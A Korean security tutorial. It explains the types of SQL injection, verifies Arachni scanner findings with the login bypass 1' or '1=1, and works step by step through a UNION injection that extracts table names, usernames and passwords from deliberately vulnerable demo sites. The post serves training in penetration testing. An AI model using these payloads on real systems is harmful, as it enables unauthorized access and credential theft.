이번에도 Arachni를 이용하여 스캐닝을 하고 그에 대한 검증까지 해보는 시간을 갖도록 하겠습니다.
1. SQL Injection의 개념
일단 스캐닝을 하기 앞서 SQL Injection의 개념을 이해하고 가도록 하겠습니다.
SQL Injection은 웹 어플리케이션에서 데이터베이스로 전달되는 SQL 쿼리 값을 변조 및 삽입하여 비정상적인 방법으로 데이터베이스에 접근하는 공격기법을 의미합니다.
공격기법에 따라 다양한 유형이 존재합니다.
① 논리적 에러를 이용하는 SQL Injection
or1=1 등의 논리적 에러를 발생시킬 수 있는 패턴을 이용한 인증우회 기법이며, 에러가 발생되는 사이트에서는 에러 정보를 이용하여 데이터베이스 및 쿼리 구조 등의 정보를 추측할 수 있습니다.
예를 들어 사용자가 회원 ID에 admin, password에 1' or '1=1을 입력했다고 가정하면
$id변수에는 admin, $passwd변수에는 1' or '1=1이 들어가게 되어
$strLoginSQL = "Select * from member where id='admin' and passwd = '1' or '1=1' "; 가 됩니다.
따라서 ( id='admin' and passwd = '1' ) or ( '1=1' ) 으로 동작하게 되고 이는 ( False ) or ( True )가 됩니다.
② 두개 이상의 쿼리를 이용하는 Union SQL Injection
UNION은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자인데, 공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어낼 수 있습니다.
③ 쿼리 가능 여부를 이용하는 Blind SQL Injection
악의적인 문자열 삽입 대신 쿼리 결과(참 혹은 거짓)에 따라 정보를 취득하는 기법입니다.
④ 저장 프로시저를 이용하는 Stored Procedure SQL Injection
저장프로시저는 운영상 편의를 위해 만들어둔 SQL 집합 형태이며, MS SQL에서 사용할 수 있는 xp_cmdshell은 윈도우 명령어를 실행하도록 역할을 제공하기 때문에 악용될 수 있습니다.
⑤ 타임 기반의 Blind SQL Injection
쿼리 결과를 특정시간만큼 지연시키는 방법을 이용하는 기법으로, Blind 기법과 마찬가지로 에러가 발생되지 않는 조건에서 사용할 수 있는 기법입니다.
⑥ 에러 기반의 SQL Injection
GET, POST 요청 필드, HTTP 헤더 값, 쿠키 값 등에 특수문자(싱글쿼트 혹은 세미콜론) 삽입시, SQL 에러가 발생된다면 취약점이 있다고 판단할 수 있습니다.
2. TIP
- https://www.w3schools.com/sql/default.asp 를 참고하면 많은 도움이 됩니다.
- 실제 업무 시 자동화 툴(sql map)을 주로 사용합니다.
해당 관련 포스팅입니다. -> http://itlearner.tistory.com/305
3. Arachni를 이용한 스캐닝
저는 http://demo.testfire.net을 대상으로 진행하였습니다.
1개의 페이지에 대하여 2개의 SQL Injeciton 취약점이 발견되었습니다.
4. 검증
스캐닝 결과 발견한 1개의 페이지에 대해서 정탐인지 검증해보도록 하겠습니다.
3-1.
http://demo.testfire.net/bank/login.aspx페이지의 uid 파라미터에 대한 스캔 정보입니다.
그렇다면 실제로도 취약점이 있는지 직접 검증해보도록 하겠습니다.
우선 폼에 1'을 Username과 Password에 각 각 입력해봅니다.
그랬더니 syntax error가 발생하였습니다.
이번에는 1' or를 입력해보았습니다.
이번에도 syntax error가 발생하였습니다.
1' or 1=1를 입력해보았습니다.
마찬가지로 syntax error가 발생하였습니다.
1' or '1=1를 입력하니
다음과 같이 SQL Injection이 성공하였습니다.
3-2.
http://demo.testfire.net/bank/login.aspx페이지의 passw파라미터에 대한 스캔 정보입니다.
점검 방식은 3-1과 같이 진행하면 되므로 넘어가도록 하겠습니다.
5. 실습
이번에는 위에서 검증한 페이지와는 별개로 http://testphp.vulnweb.com/listproducts.php?cat=1 페이지에 대해 Union SQL Injection 실습을 진행해보도록 하겠습니다.
참고로 UNION은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자이며, 공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어내게 됩니다.
실습 대상인 http://testphp.vulnweb.com/listproducts.php?cat=1페이지입니다.
UNION문을 이용하여 DB의 필드 갯수를 확인해봅니다.
UNION문은 두 컬럼의 수가 다르면 에러가 발생합니다. 따라서 null을 하나씩 추가하여 컬럼 수가 맞아 에러 발생이 되지 않으면 해당 null의 갯수가 DB 필드 갯수가 됩니다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null, null, null, null, null, null, null# |
null이 11개 일 때 에러가 발생되지 않으므로 총 11개의 필드가 있는 것을 확인할 수 있습니다.
null대신 숫자를 삽입합니다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11# |
7번대신 user()함수를 삽입하여 데이터베이스 계정을 추출합니다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, 2, 3, 4, 5, 6, user(), 8, 9, 10, 11# |
이번에는 데이터베이스 테이블 정보를 추출해봅니다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, group_concat(table_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 from information_schema.tables where table_schema=database()# |
추출한 테이블 중에서 user 테이블의 필드 정보를 추출합니다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, group_concat(column_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 from information_schema.columns where table_name='users'# |
그 중에서 계정 필드(uname)의 정보를 확인해봅니다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, uname, 3, 4, 5, 6, 7, 8, 9, 10, 11 from users# |
이번에는 암호 필드(pass) 정보를 확인해봅니다.
http://testphp.vulnweb.com/listproducts.php?cat=1 union all select 1, pass, 3, 4, 5, 6, 7, 8, 9, 10, 11 from users# |
UNION SQL Injection을 통해 계정과 패스워드 정보를 알아내었습니다.
본 글은 '웹 모의해킹 및 시큐어코딩 진단가이드' 서적을 참고하여 작성하였습니다.